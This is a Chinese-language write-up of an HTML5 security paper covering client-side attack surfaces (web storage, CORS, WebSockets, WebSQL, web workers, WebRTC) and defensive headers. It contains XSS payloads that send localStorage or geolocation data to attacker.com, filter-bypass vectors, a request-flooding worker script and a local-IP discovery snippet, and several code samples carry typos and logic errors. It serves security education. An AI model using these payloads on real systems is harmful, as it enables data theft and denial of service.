From：HTML 5 Morden Day Attack And Defense Vectors Autor：Rafay Baloch
摘要
根據Powermapper出版的統計，他們分析的Web頁面中超過50%使用了HTML5 DOCTYPE，這意味着它們是HTML5 web應用
HTML5非常流行，由於它的一些新特性可以讓Web應用開發者構建更多的交互式頁面。然而，新特性也意味着新漏洞，本文分析了引入HTML5后的一些新特性及隨之而來的漏洞
跨站腳本在本文中是一個重點，對HTML5特點的利用能排在第一，因為許多開發者存儲很多敏感數據在客戶端。我們要討論的特性包括WebStorage, WebSQL, Geoloaction API, CORS, Cross Window Messaging, sandboxes iframes, webworkers等，以及它們被不安全使用時引發的相應漏洞
引言
從HTML4出現至今已經差不多15年了，從那之后發生了很多改變，如今到了HTML5的時代帶來了大量的新特性允許更多的交互性和動態的用戶體驗
為了提供更多的用戶特性並同時減輕服務器的負擔，HTML5允許開發者將越來越多的代碼轉移至客戶端。在HTML5中，第三方的多媒體插件如flash和Sliverlight的使用也減少了，也即減小了第三方插件的攻擊面
HTML5中引入了幾個新標簽如<audio>, <video>, <svg>, <canvas>, <mathml>等。這些標簽有效的減少了開發者所需做出的努力，也減少了對第三方插件如flash的依賴
簡單的預覽一次下HTML4和HTML5有什么不同，如下是兩個使用表達驗證的案例
<html> <script> function validate_input() { var x = document.forms["Form"]["email"].value; var atpos = x.indexOf("@"); var dotpos = x.indecOf("."); if(atpos < 1 || dotpos < atpos +2 || dotpos +2 >= x.length ) { alert("Not a valid e-mail address"); } return false; } } </script> <form id = "form" method="post" onsubmit="return validate_input()"> Email:<input type="text" name="email"> <input type="submit" value="Submit"> </form> </html>
在上面HTML4的例子中，使用了大量的javascript來驗證表單，當開發者需要驗證其他輸入時，情況就變得復雜了，有時候還要用正則表達式
HTML5中的表單驗證
HTML5允許開發者使用支持的輸入類型如"EMAIL", "tel", "data"等，會進行自動驗證
<form method="post" id="myform" action="login.php"> <input type="email" name="email"> <input type="submit"> </form>
2. HTML5安全關注
由於HTML5應用程序大量使用javascript庫促進客戶端的動態交互，因此打開了大量的新攻擊面如XSS和CSRF
HTML5中大多數漏洞都和開發者不安全地使用hTML5特性和將敏感數據存儲在客戶端有關，如果客戶端信息被竊取，很難追蹤攻擊，因為所有事情都發生在客戶端
默認情況下，HTML5提供了很少或根本沒有提供對SQL注入、XSS、CSRF的保護措施，本文中我們會通過如下列表中的特性強調如果使用不當會引發什么樣的漏洞
WEB Storage
Cross Origin Resource Sharing
Offline Web Application
Geolocation API
WEBSQL
Cross Window Messaging
Sandboxed Iframes
WebRTC
2.1 Web Storage Attacks
HTML5中，開發者可以使用"Web Storage"方法在客戶端存儲數據，這個方法給網站管理員一定的靈活性在客戶端本地存儲大量數據，並保存很長一段時間，HTML5將web storage分為兩種不同類型：
1） 會話存儲
2） 本地存儲
從概念上來講，它們並無多大不同，之后將會詳細說明
3.1 會話存儲
會話存儲的概念和cookie類似，不過它可以存儲5Mb(cokie只能存儲4kb,然而，會話存儲不是通過http請求傳送的，每一個域的頁面都有它自己的會話存儲對象。同源策略同樣適用於它，這意味着同源的頁面可以訪問其他的會話存儲
相比本地存儲，會話存儲沒那么持久，根據規范，當出現如下事件之一時會話存儲中的數據將會被刪除：
a.用戶關閉了窗口
b.用戶使用瀏覽器清楚特性刪除存儲
c.Web應用程序通過API調用刪除會話存儲
3.2 本地存儲
本地存儲比會話存儲持久得多，每個域名只允許一個本地存儲。本地存儲的大小依賴於客戶端使用的瀏覽器，Chrome為每個源2.5M，Firefox 5M，IE則為10M。同源策略也適用於本地存儲，這意味着只有相同源的策略才可以訪問本地存儲
從安全的角度來看本地存儲十分有趣，因為它不會過期而且即便受害者關閉了瀏覽器依舊存在，甚至瀏覽器歷史記錄被清除了它依然存在着，除非你要求瀏覽器刪除本地存儲
根據規范，當如下情況之一發生時本地存儲的數據會被刪除：
a. 用戶使用瀏覽器清楚特性刪除存儲
b. Web應用程序通過API調用刪除本地存儲
3.3 本地存儲API
web storage流行的一個原因是易於使用，可以通過localStorage API添加、檢索、刪除本地存儲中的項目。本地存儲也可以通過使用javascript訪問到，如下是使用web storage方法的語法示例
3.3.1 添加項
localStorage.setItem('key','value');
3.3.1 檢索項
localStorage.getItem('key');
3.3.3 刪除項
localStorage.removeItem('key','value');
3.3.4 刪除所有項
localStorage.clear();
3.4 會話存儲API
同樣可以通過使用會話存儲API添加、檢索、刪除項
3.4.1 添加項
sessionStorage.setItem('key','value');
3.4.2 檢索項
sessionStorage.getItem('key');
3.4.3 刪除項
seesionStorage.removeItem('key','value');
3.4.5 刪除所有項
sessionStorage.clear();
3.5 HTML5 Web Storage的安全關注
a. Web Storage中的數據是未加密的，這意味着存儲在web storage中的任何敏感信息如cookie和代碼都無法保證其完整性
b. 如果Web應用易遭受跨站腳本攻擊，攻擊者就可以從web storage中竊取信息
c. 不像cookie，web storage沒有httponly和secure標識，由於web storage是javascriptapi api，它的設計就是讓javascript訪問web storage
d. 如果存儲在web storage中的數據被寫到使用了脆弱代碼的頁面中，可能會導致DOM型XSS
3.6 通過XSS竊取本地存儲數據
正如前面提到的，一個跨站腳本漏洞就可以讓攻擊者從web storage中竊取信息，下面是使用getItem方法竊取會話標識符並發送給攻擊者的POC：
<img src='http://attacker.com/cookie.php?id="+localStorage.getItem('SessionID')+"'>");></img>
下面的載荷可以竊取所有的本地存儲數據並發送給攻擊者
<script> for( i in localStorage) { var key = i; var value = localStorage.getItem(i); } var d=new Image(); i.src='//attacker.com/stealer.php' + key + value; </script>
3.7 基於DOM的存儲型攻擊
下面列表是常見的基於DOM XSS的輸入源：
document.URL
document.documentURL
document.URLUnencoded
document.baseURL
location
location.href
location.search
location.hash
localtion.pathname
下列是一些常見的容易產生問題的方法、屬性
eval
window.setInterval
document.write
document.body.innerHTML
window.location.href
elem.setAttribute(href | src)
參考：https://code.google.com/p/domxsswiki/wiki/ExecutionSinks
3.8 基於DOM的XSS案例
if(!localStorage.getItem('whereami')){ _whereami = "Inser a new value"; localStorage.setItem('whereami',JSON.stringify(_whereami)); } else{ _whereami = JSON.parse(localStorage.getItem('whereami')); } document.getElementById('result').innerHTML = _whereami; return; }
上面的代碼存在存儲的DOM型XSS，第二行接受參數並將其存儲在"_whereami"變量中。接下來的一行，代碼插入"key"和通過用戶輸入檢索的值到本地存儲中。再接下來，使用innerHTML屬性寫入到頁面中，而這存在存儲的DOM型XSS
4. Websockets攻擊
由於HTTP協議給實時應用程序引起了很大的負擔，W3C工作組引入了一個新的協議WebSocket以滿足應用程序的實時需要
WebSocket協議將已有的HTTP鏈接升級到WebSocket並使用全雙工鏈接，允許同時雙向的連接。它的到來，實時應用程序的負擔減小到了應用層大約每個包兩個字節，因而越來越多的開發者開始用它
4.1 webSocket攻擊安全關注
4.1.1 拒絕服務問題
由於其設計，WebSocket協議可被利用引起客戶端和服務器端的資源耗盡
4.1.2 客戶端拒絕服務
根據規范，和HTTP相比，由於被設計來保存連接活躍，WebSocket有一個更高的連接限制，此前HTML5開發人員不得不使用keep-alive頭
攻擊者可以通過WebSocket發送惡意內容，用盡允許的所有Websocket連接並引起拒絕服務
不同瀏覽器有不同的最大連接次數，firefox最小為200，Chrome則為3200
4.1.3 服務器端拒絕服務
由於攻擊者可以從電腦生成大量到服務器的連接，還可以使連接持久，是一個引發資源耗盡的潛在問題
4.1.4 數據機密性問題
WebSocket連接可以建立在未加密和加密的信道上，這取決於websocket如何實施。如果客戶端使用ws://URL協議和服務器端的websocket交互，和服務器通信及來自服務器的任何東西都能被相同網絡中的攻擊者攔截
參考：https://github.com/RandomStorm/scripts/blob/master/WebSockets.html
4.1.5 WebSocke中的跨站腳本問題
參考： http://kotowicz.net/xss-track/track.js?websocket=1
可以用於靜悄悄的記錄從WebSocket發送和接收的信息
4.1.6 WebSocket跨站腳本POC
http://example.com/websockets.php?text=<script src=” http://kotowicz.net/xss-track/track.js?websocket=1”
5. HTML5 XSS向量
除了新標簽，HTML5也有一些新屬性和事件可以幫助攻擊者繞過一些安全機制，如waf，其依賴於基於黑名單的簽名。其中一個方便的屬性時autofocus,它可以被事件處理器如onfocus、onblur使用，在沒有用戶交互的情況下執行javascript
鑒於幾個新的事件處理器被引入了，黑名單被設置為阻塞所有HTML4的事件處理器，但新的事件處理器可以被用來避開waf中的黑名單執行javascript，除非使用正則表達式攔截所有on*
5.1 案例1 被阻塞的標簽
在常見標簽如<script>, <object>, <isindex>, <img>或<iframe>被過濾器阻塞的情況下，HTML5引入了一些新標簽可以繞過黑名單
<video onerror="javascript:alert(1)"><source>
<audio onerror="javascript:alert(1)">
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
5.2 案例2 屬性上下文
當尖括號（開、閉）被過濾掉時，正常上下文就無法實現XSS了。然而，有時候輸入在屬性元素中被反射，HTML5時間處理器可以在沒有交互的情況下執行javascript代碼，同樣也可以繞過基於黑名單的保護
5.2.1 下面場景中，開、閉尖括號都被過濾
<input type=”text” value=”yourinput”>
下面的XSS向量可以在沒有用戶交互的情況下執行javascript
" onfocus=alert(1) autofocus x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus x="
標記完成后即為：<input type=”text” value=”” autofocus onfocus=alert(1) a=””>
6. CORS 垮域資源共享
要理解跨域資源共享，首先需要理解同源策略，所謂同源即指相同協議、相同域名、相同端口
值得注意的是，同源策略並不適用於CSS、圖片等，僅當javascript視圖訪問其他源的文檔內容時同源策略才被觸發
6.1 Crossdomain.xml
<cross-domain-policy>
<allow-access-from domain="targeta.com"/>
</cross-domain-policy>
6.2 什么是CORS
由於兩個不同源的頁面無法相互通信，即便它們有相互信任關系，HTML5中引入了CORS，允許跨域http請求，更重要的是跨域AJAX請求
6.3.1 例
假設a.com的頁面想使用CORS訪問b.com的頁面內容，瀏覽器首先發送一個來源請求定義想通信的網站來源
Origin: http://a.com
如果b.com允許來自a.com的跨域請求，它會在響應中返回一個Control-Allow-Origin頭，提示該域被允許訪問b.com的資源
Access-Control-Allow-Origin: http://www.a.com
6.3.2 安全問題
如下設置是不安全的：Access-Control-Origin:*
6.3.3 POC
<div id = "results"></div>
<script>
var cor = new XMLHttpRequest();
cor.onreadystatechange = function()
{
document.getElementById('result').innerHTML = cor.responseText;
}
cor.open('GET','http://b.com/cors.php');
cor.send();
</script>
</div>
//cors.php
//<?php header('Access-Control-Allow-Origin: *'); ?>
//<p>This file is hosted at targetb.com to demonstrate that it’s accessible via cross origin requests</p>
7. GeoLocation API
HTML5中可以使用GeoLocation API追蹤用戶的地理位置，當然這得用戶同意，不然會引發隱私問題
7.1 安全關注
Geolocation的一個主要問題是跨站腳本攻擊，因為追蹤地理位置的對象放在javascript可以訪問的DOM中
由於用戶大多信任網站，他們會信任該請求並分享他們的位置，更糟糕的是，除非用戶關閉追蹤，瀏覽器會持續暴露受害者的位置給攻擊者
7.1.1 例
假設攻擊者在一個著名網站上發現了XSS漏洞如w3school.com，他所需做的就是讓受害者執行下列代碼片段竊取位置信息
<script> var function getLocation() { navigator.getlocation.getCurrentPosition(showPosition); } function showPosistion(position) { var pos = "Latitude:" + postion.coords.latitude + "<br>Longitude" + postion.coords.longitude; location.href = 'http://attacker.com/stealer.php?pos='+pos; } getLocation(); </script>
上面的代碼使用DOM屬性coords.latitude和coords.longitude分別獲取latitude/longitude，一旦受害者執行了javascript就會收到瀏覽器的通知信息
8. 客戶端RFI
CORS除了配置不當允許任何其他域的站點能訪問頁面信息，還會觸發XSS
8.1 漏洞示例
<html> <body> <script> var url = location.hash.substring(1); var xhr = new XMLHttpRequest(); xhr.open("GET",url,true); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr,status == 200){ document.getElementById("main").innerHTML = xhr.responseText; } }; xhr.send(null); </script> </body> </html>
上面的代碼使用location.hash屬性載入合法內容，如http://target.com/#index,如果配置不當，就可能變成http://target.com#//evidata.com,使用innerHTML屬性插入到DOM中，引發DOM XSS
假設evildata.com上的腳本XSS.php,代碼為：
<?php
header('Access-Control-Allow-Origin:*');
?>
<div id = "main">
<img src=x onerror = alert(document.cookie) />
</div>
當請求為http://target.com/#//evildata.com/xss.php時，就會觸發DOM XSS
8.2 更安全的示例
<html> <body> <script> var allowed = ["/", "/index","test"]; var index = location.hash.substring (1) | 0; var xhr = new XMLHttpRequest(); xhr.open ("GET", allowed[index] | | '/', true); xhr.onreadystatechange = function () { if (xhr.readyState == 4 && xhr.status == 200) { div.innerHTML = xhr.responseText; } }; xhr.send (null); </script> </body> </html>
9. 跨窗口消息
9.1 發送者的窗口
假設a.com上的窗口想發送消息給b.com的監聽窗口，發送消息的代碼：
window.postMessage("message","a.com");
9.2 接受者的窗口
首先要建立一個接收器：
window.addEventListener("message",receiveMessage,false);
receiveMessage function(event){
if (event.origin != "http://a.com"){
return;
}
else{
event.source.postMessage("Message received");
}
}
9.3 安全關注
來源沒有檢查：
window.addEventListener ("message", receiveMessage, false);
receiveMessage function (event) {
event.source.postMessage("Message recieved");
}
DOM型XSS：使用DOM方法顯示數據，會導致DOM XSS，當使用了eval(),document.write等時
<script>
window.onmessage = fuction(e){
if (e.origin !== "http://html5demos.com")
{
return;
}
document.getElementByID("test").innerHTML = e.origin + " said: " + e.data;
};
</script>
10. Sandboxed Iframes
默認情況下，正常的normal會從目的地加載所有內容包括HTML，CSS和javascript。隨着sandboxed iframe的到來，我們可以聲明被加載到iframe的內容：
<iframe sandbox src = "http://evil.example.com/"></iframe>
使用sandbox屬性從iframe嵌入網站，它會阻止javascrip執行；如果想執行javascript，可以：
<iframesandbox="allow-scripts" src="http://evil.example.com/"></iframe>
10.1 關注
if(window!==window.top){window.top.location = location;}
上面這行代碼會阻止網站被加載到iframe，然而如果使用了沙箱化的iframe，上面的代碼就不起作用，推薦使用X-frame-options
11. 線下應用程序
默認情況下，正常瀏覽器緩存不會讓你緩存所有文件，引入HTML5應用緩存后，站長被允許緩存任何文件，並且是一段更長的時間。應用程序緩存被創建用於線下瀏覽Web應用程序，可以顯著減輕服務器負擔，瀏覽器也只會下載更新后的內容
開啟該功能需要使用線下manifest文件：
<!DOCTYPE HTML>
<html manifest="example.appcache">
</html>
manifest文件的結構如下：
Cache manifest： //必須遵循，指定被緩存的文件
/style.css
/script.js
example.jpg
NETWORK: //指示瀏覽器那個頁面永遠不被緩存或無法通過offline用途獲取
admin.php
autheticated.php
FALLBACK: //可選，如果由於網絡原因不可訪問某個頁面時，url回調offline.html
//offline.html
11.2 安全關注
主要關注在於使用長時間的應用程序緩存可以實施緩存毒化 //服務器返回404會導致緩存被刪除
12. WebSQL
WebSQL目的單一，創建現在應用程序以允許客戶端更大的存儲空間
3個核心方法：
1. openDatabase --用於訪問已有的或新的數據庫
2. transaction --允許你控制事物
3. executeSQl --用於執行SQL查詢
12.1 安全關注
主要關注：SQL注入、跨站腳本
12.2 SQL注入
歷史上的SQL注入只對應於服務器端腳本語言，由於WebSQL的緣故我們可以在客戶端存儲數據並和數據庫交互，必須通過javascript調用本地數據庫。開發者如使用動態查詢而不是預處理語句就會導致SQl注入
不安全：t.executeSql("SELECT passwoed From users where id = " + id);
安全的：t.executeSql("select password from users where id = ?",[id]);
客戶端事物SQL注入，我們被限制於inert、update、delete數據庫數據，攻擊者不可能通過客戶端SQL注入從數據庫檢索數據，其影響取決於存儲在數據庫中的數據[重寫應用程序要讀取的數據]
12.3 跨站腳本
a. 用戶輸入在插入到數據庫前未過濾且渲染給了用戶，隨后引發XSS漏洞；
b. 用戶輸入被過濾，渲染輸出后為被轉義，導致XSS漏洞；
12.3.1 示例
function(tx) { tx.executeSql('select * from tweet_db',[],function(tx,result); { var inv_i = result.rows.length -1; for(i = (results.rows.lenght-1); i >= 0; i--) { t = t + "<p><div class='tw'>" = result.rows.items(i).tweet + "</div></p>"; } document.getElementById('result').innerHTML = t; } }
13. SVG (Scalable Vector Graphics)
HTML5中可直接嵌入SVG
<!DOCTYPE HTML >
<html>
<body>
<h1>Pseudo_Z SVG </h1>
<svg width="100" height="100">
<circle cx = "50" cy = "50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
</body>
</html>
SVG文件允許活躍內容如javascript被執行[作為一個廣泛的攻擊面],圖片或img標簽里的SVG文件不會執行javascript，如<img src= http://tartgetdomain.com/pic.svg>
然而，如果受害人下載了SVG圖形並用瀏覽器打開，嵌入的javascript便會執行，可以用來讀取本地文件、加載java applets等
14. Webworkers
HTML5之前，DOM和javascript以單線程運行，當執行頁面中大量javascript時引起了很多問題，使得在腳本全部加載之前無法響應。隨着Webworkers的引入，現在可以多線程運行javascript
webworkers沒有對ODM元素的訪問，如果有的話會引起並行性問題，然而它通常允許我們用XHR發送域內或跨域請求
14.1 創建Webworker
var w =new Worker("worker.js");
14.1.1 發送/接收消息
<!DOCTYPE HTML> <html> <head> <script> var worker=new Worker("worker.js"); // Creating a new worker thread to load javascript. worker.postMessage("foo"); // Using postMessage to send a message to webworkers. worker.onmessage=function(evt){ // Function receive data from worker.js document.getElementById("result").innerHTML=evt.data; // Outputting the data. } </script> <p><b>Data received from Webworker:</b></p><div id="result"></div> <head> </body> </html>
//worker.js
onmessage = function(evt){ //function used to receive data from the main thread
var w = evt.data; //the received data is saved to evt.data
postMessage(w); // it's the posted back to the main thread
}
14.2 跨站腳本漏洞
var worker = new Worker("worker.js"); worker.postMessage("foo"); worker.onmessage = function(evt){ document.getElementById("result").innerHTML = evt.data; } var g_w = new XMLHttpRequest(); g_w.open("GET","www.espncricinfo.com/get_score.php"); g_w.send(); g_w.onreadystatechange = function() { if(g_w.readyState == 4) { if (parseint(g_w.responseText) > 100) { postMessage(g_w.responseText); } } }
14.3 分布式拒絕服務攻擊
鑒於webworkers可以用來發送跨域請求，DOS背后的想法是使用多個webworker，對特定域名發送多個請求，Chrome和Safari每分鍾可以發送超過10k個跨域請求
如果可以誘騙別人訪問某個頁面，就可以發送大量請求；若目標網站收到的請求不是來自白名單中的域，瀏覽器便不會讓攻擊者發送更多的請求
//Dos.html --> 后台創建一個worker，來自event.data的響應通過innerHTML屬性寫入到DOM中
<html> <script> var w = new Worker('Dos.js'); w.onmessage = function(event) { document.getElementById('out').innerHTML = event.data; } function start() { w.postMessage(1); } </script> <input type = "submit" onclick="start()"> <div id="out"></div> </html>
//Dos.js
inmessage = function(event){start()}
function start()
{
var i = 0;
var st = (new Data).getTime();
while(i<5000)
{
var cor = new XMLHttpRequest();
cor.open('GET','http://targetfordos.com');
cor.send();
}
msg = "Completed " + i + " requests in " + (st - (new Date).getTime()) + "miliseconds";
postMessage(msg);
}
14.4 分布式密碼破解
這個問題本身並不是webworker的漏洞，更多的是設計缺陷。HTML5之前，javascript被認為不適合用來做密碼破解，因為它在瀏覽器中是單線程，如果運行次數太多的話會讓瀏覽器宕掉。有了webworkers，情況發生了改變，瀏覽器不會宕掉
"Ravan"
15. 竊取自動完成功能存儲的用戶數據
HTML5的自動完成是將表單輸入緩存起來，並在下一次輸入時進行預測
保存的自動填充域的數據無法通過javascript訪問，它並不是DOm的一部分，然而還是可以通過社會工程等方法收集到這些信息
16. 掃描私有地址
HTML5有一個特性叫WebRTC，由於其設計，可以用來掃描私有地址，發現本地區域網絡的其他主機，指紋識別路由器
16.1 WebRTC
WebRTC是Web Real Time Communication，用於使能一實時通信插件如voice和video。應用程序如Skype，facebook早已使用實時通信，然而他們都要求插件能有效地工作。安裝和調試插件需要巨大的工作量，WebRTC的引入，使得它大大減少了
WebRTC的一大功能就是能發現本地IP：
<script> // NOTE: window.RTCPeerConnection is "not a constructor" in FF22/23 var RTCPeerConnection = /*window.RTCPeerConnection ||*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection; if (RTCPeerConnection) (function () { var rtc = new RTCPeerConnection({iceServers:[]}); if (window.mozRTCPeerConnection) { // FF needs a channel/stream to proceed rtc.createDataChannel('', {reliable:false}); }; rtc.onicecandidate = function (evt) { if (evt.candidate) grepSDP(evt.candidate.candidate); }; rtc.createOffer(function (offerDesc) { grepSDP(offerDesc.sdp); rtc.setLocalDescription(offerDesc); }, function (e) { console.warn("offer failed", e); }); var addrs = Object.create(null); addrs["0.0.0.0"] = false; function updateDisplay(newAddr) { if (newAddr in addrs) return; else addrs[newAddr] = true; var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); document.getElementById('list').textContent = displayAddrs.join(" or perhaps ") || "n/a"; } function grepSDP(sdp) { var hosts = []; sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39 if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13 var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1 addr = parts[4], type = parts[7]; if (type === 'host') updateDisplay(addr); } else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7 var parts = line.split(' '), addr = parts[2]; updateDisplay(addr); } }); } })(); else { document.getElementById('list').innerHTML = "<code>ifconfig | grep inet | grep -v inet6 | cut -d\" \" -f2 | tail -n1</code>"; document.getElementById('list').nextSibling.textContent = "In Chrome and Firefox your IP should display automatically, by the power of WebRTCskull."; } </script>
17. 安全頭部加強安全性
17.1 X-XSS-Protection
Chrome、IE等瀏覽器都有自己的XSS過濾器，且默認是開啟的，服務器可以通過其請求控制該策略的開關
a. X-XSS-Protection:0 -->如響應中包含這個頭部，它會指示瀏覽器關閉XSS filter
b. X-XSS-Protection:1 -->如響應中包含這個頭部，它會指示瀏覽器開啟XSS filter
c. X-XSS-Protection: 1; mode = block --> 開啟XSS filter，如XSS漏洞檢測到則顯示空白
17.2 X-Frame-Options
X-Frame-Options不僅能使你免於點擊劫持漏洞，還有無數XSS漏洞的變種
X-Frame-Options:DENY -->瀏覽器不會加載iframe中的應用
X-Frame-Options:SAMEORGIN --> 僅當同源時，才會加載ifrmre里面的內容
X-Frame-Options:ALLOW-FROM URL http://target.com -->僅允許指定加載到iframe的應用中
17.3 Strict-Transport-Security
Strict-Transport-Security: max-age=31536000 // 過期時間，單位秒
Strict-Transport-Security: max-age=31536000; includeSubDomains //子域名都用https
17.4 X-Content-Type-Options
由服務器返回，控制內容被瀏覽器渲染的方式，eg. //IE6、IE7無法識別
Content-Length:94
Content-Type:application/json;charset = utf-8
{
"name":"Pseudo_Z",
"value":"<img src=x onerror=prompt(1)>"
}
X-Content-Type-Options:nosniff
17.5 CSP [Cotent-Security-Policy]
X-Content-Security-Policy: script-src http://code.jquery.com/jquery-1.11.0.min.js;
default-src :沒有明確定義其他指令時的默認指令
script-src :用於定義所有腳本中的白名單
style-src :用於定義所有樣式表的白名單
img-src :定義圖片資源的白名單
frame-src :定義frame資源的白名單
'none': 不允許任何來源的訪問
'self'； 僅允許同源訪問
'unsafe-inline':允許如scripts/style的內聯javascript訪問
'unsafe-eval':允許使用eval(),settimeout等
eg.
allow ‘self’;
img-src *;
object-src self;
script-src userscripts.js;
report-uri http://target.com/report.cgi //策略被違反是會觸發報告